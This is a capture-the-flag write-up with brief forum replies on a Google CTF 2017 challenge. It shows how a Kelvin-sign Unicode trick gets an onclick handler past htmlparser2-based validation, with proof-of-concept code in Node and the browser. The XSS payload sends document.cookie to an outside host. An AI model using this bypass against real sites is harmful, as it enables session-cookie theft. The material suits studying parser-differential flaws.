Geokitties v2 (#GoogleCTF 2017)

input.html

<a onclicK="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>

You mean replacing the "k" in onclick with K will pass the regex validation and will work on the browser?

@the-st0rm. Nope..
What we known about a html attributes:

• Attribute names are case insensitive
• Duplicate attribute are rejected (used first value)

E.g. for html code <a onclick="" oNclick="some"> browser will create the element a with attribute onclick="".
Therefore htmlparser2 uses String.prototype.toLowerCase for attribute names and reject duplicates:

Parser.prototype.onattribend = function(){
    if(this._cbs.onattribute) this._cbs.onattribute(this._attribname, this._attribvalue);
    if(
        this._attribs &&
        !Object.prototype.hasOwnProperty.call(this._attribs, this._attribname)
    ){
        this._attribs[this._attribname] = this._attribvalue;
    }
    this._attribname = "";
    this._attribvalue = "";
};

Now let's look into the validation function:

// blog.js
function validate(node) {
    [...]
    for (var name in node.attribs) {
        var value = node.attribs[name];

        if (/^on.+/.test(name) && value !== '')
            throw 'Invalid event';

        if (name == 'href' && /^(https?:)/.test(value) === false)
            throw 'Invalid link';
    }
    [...]
}

As you can see, it allows an empty html events. So, all we need is to create duplicate html event for htmlparser2 but unique for browser.
This could be done with \u212A, because after toLowerCase it transforms to \u006B:

> '\u212A'.toLowerCase().charCodeAt(0)
107

PoC:

htmlparser2

const htmlparser = require('htmlparser2');
const handler = new htmlparser.DomHandler(function (error, dom) {
    for (var i in dom)
        console.log(dom[i]);
});

const parser = new htmlparser.Parser(handler);
parser.write(`<a onclic\u212A="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>`);
parser.end();

{ type: 'tag',
  name: 'a',
  attribs: { onclick: '', href: 'https://ya.ru' },
  children: 
   [ { data: 'asd',
       type: 'text',
       next: null,
       prev: null,
       parent: [Circular] } ],
  next: null,
  prev: null,
  parent: null }

browser (Chromium 59):

const parser = new DOMParser();
const doc = parser.parseFromString(`<a onclic\u212A="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>`, 'text/html');
console.dir(doc.querySelector('a').outerHTML);

<a onclicK="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>

Make sense 👍
Thanks